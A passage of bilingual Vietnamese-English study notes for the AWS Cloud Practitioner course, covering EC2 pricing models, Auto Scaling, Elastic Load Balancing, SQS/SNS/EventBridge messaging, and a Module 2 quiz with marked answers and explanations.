- Sử dụng không thể dự đoán - 🚀 Short-term projects - Dự án ngắn hạn Lợi ích: - ⚡ Spin up servers, play around, test out workloads - 📈 Giúp bạn tìm ra baseline cho average usage của mình - 💡 Sử dụng average đó, bạn có thể bắt đầu khám phá các tùy chọn pricing khác ### Pricing - 💰 Pay only for what you use - Chỉ trả cho những gì bạn sử dụng - ⏱️ Per-second billing (cho Linux instances) hoặc per-hour billing (cho Windows instances) - 📊 No discounts - Không có giảm giá ## 2. Savings Plans ### Tổng quan Savings Plans cung cấp giá EC2 thấp hơn cho cam kết sử dụng một lượng nhất quán. Điều này được đo bằng dollars per hour cho một kỳ hạn một năm hoặc ba năm. ### Đặc điểm - 💰 Save up to 72 percent - Tiết kiệm lên đến 72% - 🔄 Flexible - Áp dụng cho EC2 usage, bất kể instance family, size, OS, tenancy, hoặc AWS Region - 🚀 Also applies to - Cũng áp dụng cho AWS Fargate và AWS Lambda usage - 📅 1-year or 3-year term - Kỳ hạn 1 năm hoặc 3 năm ### Payment Options Bạn có thể trả cho commitment của mình bằng: - 💵 All upfront - Trả toàn bộ trước - 💰 Partial upfront - Trả một phần trước - 💳 No upfront - Không trả trước ### Use Cases Savings Plans phù hợp cho: - 📊 Predictable workloads - Workloads có thể dự đoán - 🔄 Consistent usage - Sử dụng nhất quán - 💰 Want flexibility - Muốn linh hoạt về instance types và regions - 🚀 Multiple services - Sử dụng EC2, Fargate, Lambda ### Lợi ích - 💰 Significant savings - Tiết kiệm đáng kể (lên đến 72%) - 🔄 Flexibility - Linh hoạt về instance types, sizes, regions - 📈 Easy to manage - Dễ quản lý với AWS Cost Explorer recommendations Tài liệu tham khảo: What are Savings Plans? (https://docs.aws.amazon.com/savingsplans/latest/userguide/what-is-savings-plans.html) ## 3. Reserved Instances (RIs) ### Tổng quan Reserved Instances phù hợp cho steady-state workloads hoặc những workloads có predictable usage. Chúng cung cấp cho bạn lên đến 75% discount so với On-Demand pricing. ### Đặc điểm - 💰 Save up to 75 percent - Tiết kiệm lên đến 75% - 📅 1-year or 3-year term - Kỳ hạn 1 năm hoặc 3 năm - 🎯 Specific instance families and AWS Regions - Cho instance families và AWS Regions cụ thể - 🔄 Instance size flexibility - Linh hoạt về kích thước instance ### Payment Options Có ba tùy chọn thanh toán: - 💵 All upfront - Trả toàn bộ trước khi cam kết - 💰 Partial upfront - Trả một phần trước khi cam kết - 💳 No upfront - Không trả gì ở đầu ### Reserved Instance Flexibility RIs cung cấp flexibility: 1. Instance Size Flexibility: - Discount được áp dụng cho các instance sizes khác nhau trong cùng instance family - Dựa trên normalization factor - Ví dụ: `m5.large` RI có thể áp dụng cho `m5.xlarge` hoặc `m5.2xlarge` 2. Availability Zone Flexibility (Regional RIs): - Regional RIs: Discount áp dụng cho bất kỳ Availability Zone nào trong Region - Zonal RIs: Discount chỉ áp dụng cho một Availability Zone cụ thể Tài liệu tham khảo: How Reserved Instance discounts are applied (https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/apply_ri.html) ### Use Cases Reserved Instances phù hợp cho: - 📊 Steady-state workloads - Workloads ổn định - 📈 Predictable usage - Sử dụng có thể dự đoán - 🎯 Specific instance types - Instance types cụ thể - 💰 Want maximum savings - Muốn tiết kiệm tối đa ## 4. Spot Instances ### Tổng quan Spot Instances giúp bạn có thể request spare EC2 capacity với giá lên đến 90% off so với On-Demand price. ### Đặc điểm - 💰 Save up to 90 percent - Tiết kiệm lên đến 90% - ⚠️ Can be reclaimed - AWS có thể thu hồi instance bất cứ lúc nào - ⏰ 2-minute warning - Bạn nhận được cảnh báo 2 phút - 🔄 Can resume later - Bạn có thể tiếp tục sau nếu cần ### Cảnh báo quan trọng ⚠️ Đảm bảo workloads của bạn có thể chịu được gián đoạn nếu bạn chọn Spot Instances. ### Use Cases Spot Instances phù hợp cho: - 🔄 Interruptible workloads - Workloads có thể gián đoạn - 💰 Cost-sensitive - Nhạy cảm về chi phí - 🧮 Batch processing - Xử lý batch - 🔬 Scientific computing - Tính toán khoa học - 🧪 Testing and development - Testing và phát triển - 📊 Big data analytics - Phân tích dữ liệu lớn ### Best Practices - 💾 Save progress frequently - Lưu tiến trình thường xuyên - 🔄 Use fault-tolerant applications - Sử dụng ứng dụng chịu lỗi - 📊 Monitor Spot prices - Giám sát giá Spot - 🎯 Use Spot Fleet - Sử dụng Spot Fleet để tự động quản lý ## 5. Dedicated Hosts ### Tổng quan [… phần còn lại đã lược bớt] ============================================================================ # M02.06 - Scaling Amazon EC2 URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/scaling-amazon-ec2 Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/06.scaling-amazon-ec2.md Description: Tìm hiểu về scalability và elasticity trong AWS, cách scale Amazon EC2 instances, và Amazon EC2 Auto Scaling. Khám phá các khái niệm về scaling up vs scaling out, Auto Scaling groups với minimum, desired và maximum capacity, và cách AWS giúp businesses điều chỉnh compute capacity dựa trên demand. Tags: aws, ec2, auto-scaling, scalability, elasticity, cloudwatch, high-availability, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/scaling-amazon-ec2 Nếu bạn đã từng cố gắng truy cập một website mà không tải được và liên tục timeout, có thể website đó đã bị quá tải bởi nhiều requests hơn khả năng xử lý. Trong bài học này, bạn sẽ khám phá cách scalability giúp bạn quản lý demand biến động bằng cách điều chỉnh compute capacity. Chúng ta đã có hiểu biết tốt về những điều cơ bản của Amazon EC2 và cách nó có thể giúp với bất kỳ nhu cầu compute nào, giống như pha cà phê. À, ý tôi là pha cà phê một cách ẩn dụ. Cà phê đại diện cho... bất cứ thứ gì instance của bạn đang sản xuất. Trong thực tế, các instances có thể đang xử lý web requests, phân tích dữ liệu, hoặc hosting các loại applications khác. Bây giờ, điều tiếp theo chúng ta muốn nói đến là một lợi ích lớn khác của AWS: scalability và elasticity. Đây là cách capacity có thể tăng và giảm, dựa trên nhu cầu kinh doanh. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Nhận biết các khái niệm về scalability và elasticity khi áp dụng vào AWS - ✅ Mô tả cách AWS có thể giúp businesses điều chỉnh compute capacity dựa trên demand biến động - ✅ Giải thích sự khác biệt giữa scaling up và scaling out - ✅ Mô tả cách Amazon EC2 Auto Scaling hoạt động - ✅ Giải thích các thành phần của Auto Scaling groups (Minimum, Desired, Maximum capacity) ## Vấn đề về Capacity Planning Nếu chúng ta đang chạy một business và đang lên kế hoạch cho sự tăng trưởng, chúng ta có thể biết trung bình cần bao nhiêu capacity. Tuy nhiên, trung bình có thể bao gồm traffic theo chu kỳ với các mùa bận rộn và yên tĩnh. Chúng ta muốn khách hàng hài lòng, vì vậy chúng ta luôn muốn có đủ capacity, nhưng chúng ta có nên lên kế hoạch cho peak usage không? Điều gì sẽ xảy ra nếu peak đó chỉ kéo dài một giờ? Hoặc điều gì sẽ xảy ra nếu chúng ta không biết khi nào các peaks xảy ra vì đây là một business mới? Chúng ta có nên mua nhiều capacity dư thừa không? Điều đó nghe có vẻ đắt đỏ. Giải pháp thay thế là gì? Lên kế hoạch cho một lượng nhỏ hơn và hy vọng điều tốt nhất? Điều gì sẽ xảy ra nếu bạn có thể provision workload của mình đúng với demand, mỗi giờ, mỗi ngày? Bây giờ bạn có khách hàng hài lòng vì họ luôn có thể nhận được các services họ muốn. Và bạn có một CFO (Chief Financial Officer) hài lòng vì họ nhận được khoản tiết kiệm chi phí mà công ty cần. ## High Availability với Redundant Instances Hãy xem cách nó hoạt động. Morgan đang ở quầy. Cô ấy đang nhận đơn hàng, nhưng cô ấy không làm tất cả công việc ở đây, vì vậy chúng ta cần ai đó làm đồ uống. Có vẻ như Rudy đang lên. Hãy tự hỏi điều gì sẽ xảy ra nếu chúng ta mất instance nhận đơn hàng. Chúng ta sẽ phải ngừng kinh doanh cho đến khi có người khác làm việc, hoặc một instance khác hoạt động. Đây là nơi AWS làm cho mọi thứ trở nên đơn giản. Sử dụng cùng một phương pháp lập trình mà chúng ta đã sử dụng để tạo Morgan ban đầu, chúng ta có thể tạo một bản sao thứ hai của Morgan. Nếu một instance thất bại, chúng ta đã có một instance khác sẵn sàng ở tuyến đầu để nhận đơn hàng. Khách hàng không bao giờ mất service, và trong lúc đó, chúng ta luôn có thể khởi động một instance khác của Morgan để thay thế instance đã thất bại. Và đừng quên về backend. Hãy làm cho các processing instances của chúng ta cũng redundant. Điều đó giải quyết cho regular operating capacity của chúng ta. Bây giờ chúng ta có một hệ thống highly available với no single point of failure. Đây là lý do tại sao đây là best practice để thiết lập các EC2 instances redundant và deploy chúng trên nhiều AZs trong một Region. Bằng cách đó, nếu có vấn đề ở một nơi, các instances được deploy ở AZ khác có thể đảm nhận công việc. Và miễn là số lượng khách hàng trong hàng đợi giữ nguyên, chúng ta ổn. Nhưng bạn biết điều đó sẽ thay đổi, phải không? Vì vậy, hãy xem điều gì sẽ xảy ra khi chúng ta có một đợt rush khách hàng—hoặc một sự gia tăng demand. ## Key Takeaways Scalability là về tiềm năng của một hệ thống để phát triển theo thời gian, trong khi Elasticity là về việc điều chỉnh resources động, on-demand. ## Scalability Scalability đề cập đến khả năng của một hệ thống xử lý tải tăng lên bằng cách thêm resources. Bạn có thể scale up bằng cách thêm nhiều sức mạnh hơn cho các máy hiện có, hoặc bạn có thể scale out bằng cách thêm nhiều máy hơn. Scalability tập trung vào long-term capacity planning để đảm bảo rằng hệ thống có thể phát triển và accommodate nhiều users hoặc workloads hơn khi cần. ### Scaling Up (Vertical Scaling) Scaling up, còn được gọi là vertical scaling, có nghĩa là thêm nhiều sức mạnh hơn cho các máy đang chạy. Điều này để máy cá nhân có nhiều sức mạnh hơn để làm công việc. Scaling up có thể cho bạn nhiều sức mạnh hơn mỗi instance, nhưng đó không phải lúc nào cũng là những gì bạn cần. ### Scaling Out (Horizontal Scaling) Scaling out, còn được gọi là horizontal scaling, là khi bạn thêm nhiều resources vào pool, để bạn có thể làm nhiều công việc hơn song song. Hãy đưa ý tưởng scaling này vào coffee shop của chúng ta. Ở đây, khi chúng ta có sự gia tăng khách hàng, một instance lớn hơn của tôi thực sự không thể nhận đơn hàng của khách hàng nhanh hơn. Điều đó phụ thuộc vào khách hàng nhiều hơn là tôi. "Tôi sẽ lấy một espresso. Ồ, đợi đã, đó có phải là organic không? Mmmm... làm nó thành một soy latte. Thực ra, tôi không biết. Bạn chỉ có trà không?" Những gì chúng ta cần là, tốt, nhiều instances của tôi hơn để xử lý nhiều khách hàng song song. Hãy đưa nhiều khách hàng hơn vào đây. Ồ, bây giờ, điều đó không tốt. Có vẻ như các processing instances sắp bị quá tải vì các đơn hàng đang đến nhanh hơn. Các đơn hàng được xử lý nhanh hơn, nhưng đồ uống không được làm xong và khách hàng đang chờ đợi. Hãy tiếp tục và scale các processing instances, cũng vậy. Đây là một câu hỏi có thể rõ ràng. Tại sao có nhiều order-taking instances hơn order-making instances? [… phần còn lại đã lược bớt] ============================================================================ # M02.07 - Directing Traffic with Elastic Load Balancing URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/directing-traffic-with-elastic-load-balancing Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/07.directing-traffic-with-elastic-load-balancing.md Description: Tìm hiểu về Elastic Load Balancing (ELB) trong AWS, cách ELB phân phối traffic, các routing methods, và mối quan hệ giữa ELB và Amazon EC2 Auto Scaling. Khám phá các lợi ích của ELB trong việc cải thiện scalability và high availability. Tags: aws, elb, elastic-load-balancing, load-balancer, traffic-distribution, auto-scaling, high-availability, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/directing-traffic-with-elastic-load-balancing Spreading workloads cải thiện performance của applications bằng cách ngăn chặn bất kỳ single resource nào phải xử lý toàn bộ workload một mình. Trong bài học này, bạn sẽ học cách ELB đơn giản hóa traffic distribution và management cho AWS applications. Chúng ta đã giải quyết vấn đề scaling với Amazon EC2 Auto Scaling. Nhưng bây giờ chúng ta có một chút vấn đề về traffic, phải không? Hãy xem tình huống. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả thách thức của traffic distribution và scalability trong AWS environments - ✅ Nhận biết các lợi ích của Elastic Load Balancing (ELB) trong AWS - ✅ Giải thích mối quan hệ giữa Amazon EC2 Auto Scaling và ELB trong việc quản lý AWS resources - ✅ Mô tả các routing methods khác nhau mà ELB sử dụng ## Vấn đề về Traffic Distribution Khách hàng có ba tùy chọn cashier, nhưng có vẻ như họ đang hướng về phía tôi, vì tôi quá đáng yêu. Nhìn này, mặc dù tôi rất vui khi họ chú ý đến kiểu tóc mới của tôi, điều này đang gây ra sự phân phối không đều của khách hàng mỗi hàng. Nhìn đằng kia. Morgan và Alan không có khách hàng và chỉ đang chụp selfie. Pfft, họ cũng nên có kiểu tóc mới. Dù sao, thay vì đó, sẽ giúp ích rất nhiều nếu chúng ta thêm một host vào coffee shop của chúng ta. ### Giải pháp: Load Balancer Host đứng ở lối vào và hướng dẫn khách hàng đến một hàng cụ thể khi họ bước vào. Họ cũng theo dõi các cashiers và đếm số lượng người trong mỗi hàng. Sử dụng thông tin real-time này, họ hướng dẫn khách hàng đến hàng ngắn nhất. Điều này giúp phân phối khách hàng đều và đảm bảo họ được phục vụ hiệu quả và nhanh chóng. Ý tưởng tương tự áp dụng cho AWS environment của bạn khi cố gắng cân bằng traffic trên một nhóm EC2 instances. Chúng ta không muốn các EC2 instances idle, cũng không muốn các instances bị quá tải. Đây là nơi chúng ta giới thiệu khái niệm về load balancer. ## Load Balancer là gì? Một load balancer nhận requests và route chúng đến các instances. Có nhiều load balancers có sẵn hoạt động tốt trên AWS. Vì vậy, nếu bạn có một favorite flavor đã làm chính xác những gì bạn muốn, hãy tiếp tục sử dụng nó. Chỉ cần nhớ rằng bạn sẽ phải quản lý, patch, upgrade, xử lý failover và thực hiện maintenance trên nó. Tuy nhiên, nếu bạn muốn AWS xử lý tất cả những điều đó, và bạn chỉ cần cấu hình một lần, hãy xem Elastic Load Balancing, hoặc ELB. ## Elastic Load Balancing (ELB) Elastic Load Balancing (ELB) được thiết kế để phân phối network traffic để cải thiện application scalability. Từ "elastic" đề cập đến khả năng scale up hoặc down dựa trên traffic, mà không thêm vào hourly costs của bạn. ELB có thể quản lý cả internal và external traffic đến AWS. Nó cung cấp các routing strategies khác nhau để đảm bảo efficient traffic management và do đó optimal application performance. ### ELB và Auto Scaling Elastic Load Balancing (ELB) tự động phân phối incoming application traffic trên nhiều resources, chẳng hạn như EC2 instances, để tối ưu hóa performance và reliability. Một load balancer phục vụ như single point of contact cho tất cả incoming web traffic đến một Auto Scaling group. Khi số lượng EC2 instances biến động để phản ứng với traffic demands, incoming requests được hướng đến load balancer trước. Từ đó, traffic được phân phối đều trên các instances có sẵn. Mặc dù ELB và Amazon EC2 Auto Scaling là các services riêng biệt, chúng hoạt động cùng nhau để nâng cao application performance và đảm bảo high availability. Cùng nhau, chúng cho phép applications chạy trên Amazon EC2 scale hiệu quả trong khi duy trì consistent performance. ## Key Takeaways: ELB Benefits Hãy xem xét các lợi ích chính của elastic load balancing và cách nó nâng cao performance, scalability và management của AWS environment của bạn. ### 1. Efficient Traffic Distribution ELB phân phối traffic đều trên các EC2 instances, ngăn chặn quá tải trên bất kỳ single instance nào và tối ưu hóa resource utilization. ### 2. Automatic Scaling ELB scales với traffic và tự động điều chỉnh để phản ứng với thay đổi trong demand cho một operation liền mạch khi các backend instances được thêm hoặc loại bỏ. ### 3. Simplified Management ELB decouples front-end và backend tiers và giảm manual synchronization. Nó cũng xử lý maintenance, updates và failover để giảm operational overhead. ## Ví dụ: Decoupling Architecture với ELB Hãy xem một ví dụ. Đối với coffee shop của chúng ta, chúng ta có một website để khách hàng đặt đồ uống. Website này có các tiers khác nhau cho functionality, như ordering tier, production tier, storage tier, và vân vân. Hãy xem ordering tier và cách nó giao tiếp với production tier. Ngay bây giờ, mọi frontend instance đều biết về mọi backend instance. Nếu một backend instance mới spin up, thì nó cần cho mọi frontend instance biết rằng nó có thể chấp nhận traffic bây giờ. Điều này đủ phức tạp với nửa tá instances. Hãy tưởng tượng nếu chúng ta có hàng trăm hoặc hàng nghìn instances trong mỗi tier. Giữ chúng đồng bộ sẽ là một công việc lớn. Đó là lý do tại sao ELB ở đây để giúp đỡ. Chúng ta có thể sử dụng nó để quản lý việc liên kết các backend instances và frontend instances. Và vì nó là Regional, nó là một single URL mà mỗi frontend instance sử dụng để hướng đến các backend instances. ELB sau đó sẽ hướng traffic đến backend instance có ít outstanding requests nhất. Nếu back-end cần scale, nó spin up một instance mới. Sau khi instance mới đó sẵn sàng, nó cho ELB biết rằng nó sẵn sàng cho traffic. Và chỉ như vậy, nó bắt đầu làm việc. Frontend thậm chí không cần biết điều gì đang xảy ra. Tất cả được thực hiện tự động, và nó decouples kiến trúc để mỗi tier được coi là entity riêng của nó scale như nó thấy phù hợp. [… phần còn lại đã lược bớt] ============================================================================ # M02.08 - Messaging and Queuing URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/messaging-and-queuing Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/08.messaging-and-queuing.md Description: Tìm hiểu về messaging và queuing trong AWS, bao gồm Amazon SQS, Amazon SNS và Amazon EventBridge. Khám phá sự khác biệt giữa tightly coupled và loosely coupled architectures, và cách message queues giúp cải thiện communication giữa các components. Tags: aws, sqs, sns, eventbridge, messaging, queuing, microservices, loosely-coupled, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/messaging-and-queuing Bạn có bao giờ tự hỏi làm thế nào các coffee shops bận rộn giữ mọi thứ chạy trơn tru, ngay cả khi barista đang nghỉ giải lao hoặc cashier bị quá tải? Vâng, các nguyên tắc tương tự áp dụng cho software architecture. Trong bài học này, bạn sẽ tìm hiểu cách messaging và queuing giúp ngăn chặn slowdowns và failures. Trong coffee shop, có các cashiers nhận đơn hàng từ khách hàng và các baristas làm đơn hàng. Hiện tại, cashier nhận đơn hàng, viết nó xuống bằng bút và giấy, và giao đơn hàng này cho barista. Barista sau đó lấy giấy và làm đơn hàng. Khi đơn hàng tiếp theo đến, quy trình lặp lại. Điều này hoạt động tốt, miễn là cả cashier và barista đều đồng bộ. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả cách Amazon Simple Queue Service (Amazon SQS) tạo điều kiện cho message queuing - ✅ Giải thích cách Amazon Simple Notification Service (Amazon SNS) sử dụng publish-subscribe model để phân phối messages - ✅ Xác định sự khác biệt giữa tightly coupled và loosely coupled architectures - ✅ Giải thích cách message queues giúp cải thiện communication giữa các components ## Vấn đề với Tightly Coupled Architecture Nhưng điều gì sẽ xảy ra nếu cashier nhận đơn hàng, quay lại để chuyển nó cho barista, và barista đang nghỉ giải lao hoặc bận với đơn hàng khác? Vâng, cashier đó sẽ bị kẹt cho đến khi barista sẵn sàng nhận đơn hàng. Và, tại một thời điểm nhất định, đơn hàng có thể sẽ bị bỏ qua để cashier có thể phục vụ khách hàng tiếp theo. Bạn có thể thấy đây là một quy trình có lỗi, vì ngay khi cashier hoặc barista mất đồng bộ, quy trình sẽ suy giảm. Điều này sẽ gây ra slowdowns trong việc nhận đơn hàng—và failures để hoàn thành đơn hàng hoàn toàn. ## Giải pháp: Message Queue Một quy trình tốt hơn nhiều sẽ là giới thiệu một số loại buffer hoặc queue vào hệ thống. Thay vì giao đơn hàng trực tiếp cho barista, cashier sẽ đăng đơn hàng lên một order board. Ý tưởng đặt messages vào một buffer được gọi là messaging và queuing. Giống như cashier của chúng ta gửi đơn hàng cho barista, applications gửi messages cho nhau để giao tiếp. ## Tightly Coupled vs Loosely Coupled Architectures ### Tightly Coupled Architecture Nếu applications giao tiếp trực tiếp, giống như cashier và barista trước đây, đó được gọi là tightly coupled. Một đặc điểm nổi bật của tightly coupled architecture là: Nếu một single component thất bại hoặc thay đổi, nó gây ra vấn đề cho các components khác hoặc thậm chí toàn bộ hệ thống. Ví dụ, Application A đang gửi messages trực tiếp đến Application B. Nếu Application B có một failure và không thể chấp nhận những messages đó, Application A sẽ bắt đầu thấy errors, cũng vậy. ### Loosely Coupled Architecture Nếu chúng ta thiết kế application để sử dụng một loosely coupled architecture hơn, nó có thể trông như thế này. Giống như cashier và barista của chúng ta, chúng ta đã giới thiệu một buffer giữa hai bên. Trong trường hợp này, chúng ta đã giới thiệu một message queue. Messages được gửi vào queue bởi Application A và được xử lý bởi Application B. Nếu Application B thất bại, Application A không gặp bất kỳ gián đoạn nào. Messages đang được gửi vẫn có thể được gửi vào queue và sẽ ở đó cho đến khi chúng được xử lý cuối cùng. Đây là loosely coupled. Đây là những gì chúng ta phấn đấu đạt được với architectures trên AWS. File gốc: nền sáng · nền tối ## Key Takeaways: Decoupling Services Trong modern application development, reliability và resilience là quan trọng. Một cách hiệu quả để đạt được điều này là bằng cách áp dụng một service-oriented approach. ### Monolithic Applications Applications bao gồm nhiều components làm việc cùng nhau để truyền dữ liệu, fulfill requests, và giữ application chạy trơn tru. Trong một traditional approach đến application architecture, các components—như database logic, web application servers, user interfaces, và business logic—là tightly coupled. Điều này có nghĩa là nếu một component thất bại, nó có thể gây ra failure của các components khác, có khả năng làm sập toàn bộ application. ### Microservices Architecture Để cải thiện application availability và resilience, bạn có thể áp dụng một microservices architecture. Trong cách tiếp cận này, application components là loosely coupled, có nghĩa là nếu một component thất bại, các components khác tiếp tục hoạt động bình thường. Communication giữa các components vẫn nguyên vẹn, và failure của một single component không ảnh hưởng đến toàn bộ hệ thống. Thiết kế này thúc đẩy flexibility và reliability lớn hơn trong application. ## Supporting Scalable and Reliable Cloud Communication Amazon EventBridge, Amazon SNS, và Amazon SQS là các AWS services giúp các phần khác nhau của một application giao tiếp hiệu quả trong cloud. Các services này hỗ trợ xây dựng event-driven và message-based systems. Cùng nhau, chúng giúp tạo ra các applications scalable, reliable có thể xử lý high traffic và có thể nâng cao communication giữa các components. ## Amazon EventBridge EventBridge là một serverless service giúp kết nối các phần khác nhau của một application sử dụng events, giúp xây dựng scalable, event-driven systems. Với EventBridge, bạn route events từ các sources như custom apps, AWS services, và third-party software đến các applications khác. EventBridge đơn giản hóa quy trình nhận, lọc, transform, và deliver events, vì vậy bạn có thể nhanh chóng xây dựng reliable applications. ### Ví dụ: EventBridge Khách hàng sử dụng một online food delivery service để đặt bữa ăn từ các nhà hàng địa phương thông qua một mobile app. Khi một khách hàng đặt hàng, một số bước cần xảy ra đồng thời. 1. Payment processing: Payment service phải verify và process payment của khách hàng. 2. Restaurant notification: Nhà hàng nhận được một notification để bắt đầu chuẩn bị bữa ăn. 3. Inventory management: Inventory system kiểm tra xem các ingredients cho đơn hàng có sẵn không. 4. Delivery dispatch: Một delivery driver được thông báo để pick up và deliver bữa ăn. [… phần còn lại đã lược bớt] ============================================================================ # M02.09 - Module 2 Assessment URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/module-2-assessment Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/09.module-2-assessment.md Description: Bài kiểm tra Module 2 - Compute in the Cloud. Bạn phải đạt 80% trở lên để vượt qua module này. Bạn có thể làm lại không giới hạn số lần. Tags: aws, ec2, compute, aws-cloud-practitioner, assessment, quiz, aws-certification, module-2 Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/module-2-assessment Info: 📝 Thông tin Bài kiểm tra Yêu cầu: Bạn phải đạt 80% trở lên (12/14 câu đúng) để vượt qua module này. Số lần làm lại: Không giới hạn Chúc may mắn! 🍀 ## Question 01/14 ### English 🇺🇸 A company has critical steady-state workloads and batch jobs that are not time-sensitive. How should they optimize costs using Amazon EC2 Savings Plans and Spot Instances? - ❌ Use Savings Plans for all workloads and avoid Spot Instances because of interruption risks. - ❌ Use Spot Instances for all workloads to maximize savings and avoid Savings Plans. - ❌ Use Savings Plans for non-time-sensitive workloads and Spot Instances for critical jobs. - ✅ Use Savings Plans for critical workloads and Spot Instances for jobs that are not time-sensitive to maximize savings. ← Correct Explanation: This is the best approach. Savings Plans are ideal for critical workloads that need consistent capacity and predictable pricing. Spot Instances offer significant savings for jobs that are not time-sensitive and can tolerate interruptions. ### Tiếng Việt 🇻🇳 Một công ty có các workloads steady-state quan trọng và các batch jobs không nhạy cảm về thời gian. Họ nên tối ưu hóa chi phí bằng cách sử dụng Amazon EC2 Savings Plans và Spot Instances như thế nào? - ❌ Sử dụng Savings Plans cho tất cả workloads và tránh Spot Instances vì rủi ro gián đoạn. - ❌ Sử dụng Spot Instances cho tất cả workloads để tối đa hóa tiết kiệm và tránh Savings Plans. - ❌ Sử dụng Savings Plans cho các workloads không nhạy cảm về thời gian và Spot Instances cho các công việc quan trọng. - ✅ Sử dụng Savings Plans cho các workloads quan trọng và Spot Instances cho các công việc không nhạy cảm về thời gian để tối đa hóa tiết kiệm. ← Đúng Giải thích: Đây là cách tiếp cận tốt nhất. Savings Plans lý tưởng cho các workloads quan trọng cần capacity nhất quán và pricing có thể dự đoán được. Spot Instances cung cấp tiết kiệm đáng kể cho các công việc không nhạy cảm về thời gian và có thể chịu được gián đoạn. ## Question 02/14 ### English 🇺🇸 What happens if one component fails in a loosely coupled architecture? - ✅ The system can continue to function as other components are independent. ← Correct - ❌ Other components must be manually restarted. - ❌ The system automatically switches to backup components without any intervention. - ❌ The failure causes the entire system to fail. Explanation: Loosely coupled systems are designed so that components are independent. If one component fails, the rest of the system can continue to function normally, minimizing the impact of the failure. ### Tiếng Việt 🇻🇳 Điều gì xảy ra nếu một component thất bại trong một loosely coupled architecture? - ✅ Hệ thống có thể tiếp tục hoạt động vì các components khác độc lập. ← Đúng - ❌ Các components khác phải được khởi động lại thủ công. - ❌ Hệ thống tự động chuyển sang các components dự phòng mà không cần can thiệp. - ❌ Sự thất bại gây ra toàn bộ hệ thống thất bại. Giải thích: Loosely coupled systems được thiết kế để các components độc lập. Nếu một component thất bại, phần còn lại của hệ thống có thể tiếp tục hoạt động bình thường, giảm thiểu tác động của sự thất bại. ## Question 03/14 ### English 🇺🇸 Which tool can be used to interact with AWS services through a graphical user interface (GUI)? - ❌ Amazon EC2 - ❌ AWS Software Development Kit (AWS SDK) - ✅ AWS Management Console ← Correct - ❌ AWS Command Line Interface (AWS CLI) Explanation: The AWS Management Console is the web-based GUI that is used to interact with AWS services. ### Tiếng Việt 🇻🇳 Công cụ nào có thể được sử dụng để tương tác với AWS services thông qua giao diện người dùng đồ họa (GUI)? - ❌ Amazon EC2 - ❌ AWS Software Development Kit (AWS SDK) - ✅ AWS Management Console ← Đúng - ❌ AWS Command Line Interface (AWS CLI) Giải thích: AWS Management Console là GUI dựa trên web được sử dụng để tương tác với AWS services. ## Question 04/14 ### English 🇺🇸 A software development company needs to notify the engineering team whenever a new bug is reported in their bug tracking system. Some team members need to be notified immediately, whereas others can process the bug reports later. Which service should the software development company choose based on the requirements? - ❌ Amazon Simple Queue Service (Amazon SQS) - ❌ Amazon EC2 - ✅ Amazon Simple Notification Service (Amazon SNS) ← Correct - ❌ Elastic Load Balancing (ELB) Explanation: Amazon SNS is the better choice because it delivers notifications in real time to multiple recipients simultaneously. This suits the need for immediate notifications to engineers about new bugs. ### Tiếng Việt 🇻🇳 Một công ty phát triển phần mềm cần thông báo cho nhóm kỹ sư bất cứ khi nào một bug mới được báo cáo trong hệ thống theo dõi bug của họ. Một số thành viên nhóm cần được thông báo ngay lập tức, trong khi những người khác có thể xử lý các báo cáo bug sau. Công ty phát triển phần mềm nên chọn service nào dựa trên các yêu cầu? - ❌ Amazon Simple Queue Service (Amazon SQS) - ❌ Amazon EC2 - ✅ Amazon Simple Notification Service (Amazon SNS) ← Đúng - ❌ Elastic Load Balancing (ELB) Giải thích: Amazon SNS là lựa chọn tốt hơn vì nó cung cấp notifications real-time cho nhiều người nhận đồng thời. Điều này phù hợp với nhu cầu thông báo ngay lập tức cho các kỹ sư về các bug mới. ## Question 05/14 ### English 🇺🇸 What is the primary role of an Amazon Machine Image (AMI) when scaling applications? - ✅ It provides a consistent image to launch new instances. ← Correct - ❌ It stores backup copies of application data. - ❌ It configures scaling policies for applications. - ❌ It automatically manages network traffic. Explanation: AMIs launch new Amazon EC2 instances with the same software configuration and settings, providing consistency. ### Tiếng Việt 🇻🇳 Vai trò chính của Amazon Machine Image (AMI) khi scaling applications là gì? - ✅ Nó cung cấp một image nhất quán để launch các instances mới. ← Đúng - ❌ Nó lưu trữ các bản sao lưu của dữ liệu ứng dụng. - ❌ Nó cấu hình các chính sách scaling cho applications. - ❌ Nó tự động quản lý network traffic. [… phần còn lại đã lược bớt] ============================================================================ # M02.10 - Module 2 Summary URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/module-2-summary Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/10.module-2-summary.md Description: Tổng kết Module 2 - Compute in the Cloud. Ôn tập lại các khái niệm về Amazon EC2, EC2 instance types, pricing, Auto Scaling, Load Balancing, và messaging services. Tìm hiểu các bước tiếp theo và tài nguyên học tập. Tags: aws, ec2, compute, aws-cloud-practitioner, module-summary, recap, next-steps, 